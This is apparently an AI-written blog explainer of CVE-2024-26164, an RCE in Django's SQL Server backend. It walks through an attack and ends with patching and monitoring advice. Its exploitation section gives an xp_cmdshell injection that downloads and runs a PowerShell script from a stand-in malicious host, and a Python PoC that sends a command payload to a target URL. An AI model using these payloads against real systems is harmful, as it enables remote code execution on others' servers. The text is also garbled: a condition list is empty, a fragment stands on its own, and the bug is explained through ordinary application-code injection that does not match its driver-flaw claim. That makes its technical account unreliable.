On March 2024, Microsoft disclosed a critical vulnerability — CVE-2024-26164 — in the Django backend driver for SQL Server. This bug allows attackers to execute remote code on affected systems using crafted SQL queries. If you’re running Django applications with SQL Server on Windows, this needs your immediate attention.

In this article, we’ll break down what this vulnerability is, how it can be exploited, and what you should do to stay protected. Everything is explained in simple terms with live code snippets, example exploits, and direct references to the official sources.

What Is Affected?

The vulnerability lives in the backend connector for Microsoft SQL Server (often called django-mssql-backend or django-pyodbc-azure), used by Django to talk to SQL Server databases. It impacts Django projects with the following conditions:

Nature of The Bug: How Does It Work?

CVE-2024-26164 is a Remote Code Execution (RCE) bug. That means, from across the internet, attackers can get your server to run commands they provide. The core of the bug lies in unsanitized input making its way into SQL queries — allowing “SQL injection” that leads to code execution.

Imagine an endpoint like this in Django

# A dangerous Django view:
def my_view(request):
    user_input = request.GET.get('name')
    with connection.cursor() as cursor:
        sql = f"SELECT * FROM my_table WHERE name = '{user_input}'"
        cursor.execute(sql)  # Vulnerable!

If user_input is not properly sanitized, an attacker can manipulate the query to inject their own code.

But, with CVE-2024-26164, it’s worse: the way certain ODBC drivers on Windows interact with SQL Server lets attackers move from SQL injection to executing Windows commands.

Step 1: Find a Vulnerable Endpoint

Attackers start by looking for poorly filtered endpoints — especially those using raw SQL. For instance, search for:

cursor.execute(f"SELECT ...WHERE something='{user_input}'")

Step 2: Craft a Payload

With this vulnerability, attackers can force SQL Server to spawn Windows commands via the xp_cmdshell feature. An attack might look like:

# Attacker submits this as input:
'; EXEC xp_cmdshell('powershell -c "Invoke-WebRequest http://malicious.com/runme.ps1 -OutFile C:\runme.ps1; C:\runme.ps1"'); --

This turns the original query into

SELECT * FROM my_table WHERE name = ''; EXEC xp_cmdshell('powershell -c "Invoke-WebRequest http://malicious.com/runme.ps1 -OutFile C:\runme.ps1; C:\runme.ps1"'); --'

This tells SQL Server to download and run a PowerShell script from a malicious server.

Here’s a PoC code snippet in Python. Assume there’s a vulnerable endpoint /search/?name=

import requests

target_url = "https://victim.com/search/?name=";
payload = "'; EXEC xp_cmdshell('whoami'); --"

response = requests.get(target_url + payload)
print(response.text)  # Output includes the service account the SQL server runs as!

A real attacker would use this to run anything they like on your Windows box.

References & Original Sources

- Microsoft Security Advisory: CVE-2024-26164
- NIST NVD Entry: CVE-2024-26164
- Django Docs: How to manage raw SQL queries
- GitHub Issue: Security discussion on django-mssql-backend

Most people trust their internal databases.

- SQL Server runs as SYSTEM/local admin by default on many Windows servers.

Update

Patch your SQL Server ODBC drivers and Django backend right now. Microsoft has released fixes; see the official advisory.

Review Database Permissions

Don’t let SQL Server run as admin/SYSTEM account if possible.

Monitor

Check your logs for strange queries, especially those referencing xp_cmdshell or outbound connections.

Conclusion

CVE-2024-26164 is a painful reminder that database connectors deserve as much scrutiny as your application code. If you run Django with Microsoft SQL Server on Windows, patch now! This bug turns old-school SQL injection into devastating remote code execution — and can be exploited from the public internet.

Stay safe, keep everything updated, and scrub your SQL queries for any unsafe usage.


Want to learn more? Read the official Microsoft writeup: msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26164

Have more questions? Drop them in the comments or share your experience patching this vulnerability!


*Written exclusively for you by an AI security enthusiast. Stay sharp!*

Timeline

Published on: 03/12/2024 17:15:55 UTC
Last modified on: 03/12/2024 17:46:17 UTC